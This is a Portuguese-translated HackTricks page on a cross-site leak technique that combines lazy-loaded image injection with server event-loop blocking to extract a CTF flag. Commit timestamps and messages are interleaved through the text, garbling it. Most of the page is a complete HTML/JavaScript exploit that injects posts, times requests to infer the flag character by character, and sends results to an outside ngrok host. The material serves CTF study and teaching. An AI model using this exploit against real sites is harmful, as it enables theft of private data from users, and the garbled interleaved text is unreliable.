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hacktricks/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md

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Translated to Portuguese
2023-06-06 18:56:34 +00:00
# Bloqueio do Event Loop + Imagens Preguiçosas
GitBook: [#3600] No subject
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<details>
update twitter
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:39:38 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Translated to Portuguese
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil
2024-02-08 04:35:32 +00:00
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
</details>
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:39:38 +00:00
Neste [**exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mistura a técnica de **canal lateral de imagem preguiçosa** através de uma injeção HTML com um tipo de **técnica de bloqueio do event loop** para vazar caracteres.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:39:38 +00:00
Este é um **exploit diferente para o desafio CTF** que já foi comentado na página seguinte. Confira mais informações sobre o desafio:
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{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
Translated to Portuguese
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A ideia por trás deste exploit é:
GitBook: [#3600] No subject
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Translated to Portuguese
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* As postagens são carregadas em ordem alfabética
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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* Um **atacante** pode **injetar** uma **postagem** começando com **"A"**, então alguma **tag HTML** (como um grande **`<canvas`**) ocupará a maior parte da **tela** e algumas tags finais de **`<img lazy`** para carregar coisas.
* Se em vez de um "A" o **atacante injetar a mesma postagem, mas começando com um "z"**. A **postagem** com a **flag** aparecerá **primeiro**, então a **postagem** **injetada** aparecerá com o "z" inicial e o **grande** **canvas**. Como a postagem com a flag apareceu primeiro, o primeiro canvas ocupará toda a tela e as tags finais de **`<img lazy`** injetadas **não serão vistas** na tela, então elas **não serão carregadas**.
Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil
2024-02-08 04:35:32 +00:00
* Então, **enquanto** o bot está **acessando** a página, o **atacante** enviará **solicitações fetch**.
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:39:38 +00:00
* Se as **imagens** injetadas na postagem estão sendo **carregadas**, essas **solicitações fetch** levarão **mais tempo**, então o atacante sabe que a **postagem está antes da flag** (em ordem alfabética).
* Se as **solicitações fetch** forem **rápidas**, significa que a **postagem** está **em ordem alfabética depois** da flag.
GitBook: [#3600] No subject
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Translated to Portuguese
2023-06-06 18:56:34 +00:00
Vamos verificar o código:
GitBook: [#3600] No subject
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```html
<!DOCTYPE html>
<html>
<!--
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
GitBook: [#3600] No subject
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-->
<body>
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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<button onclick="run()">start</button>
<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>
<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'
const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
// I have omited code here as apparently it wasn't necesary
// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}
}, 0)
async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()
setTimeout(() => {
run(str, resolve)
}, 500)
})
}
async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}
let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)
/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}
// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
GitBook: [#3600] No subject
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</body>
</html>
```
<details>
update twitter
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:39:38 +00:00
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Translated to Portuguese
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil
2024-02-08 04:35:32 +00:00
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
2024-02-07 04:39:38 +00:00
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
</details>
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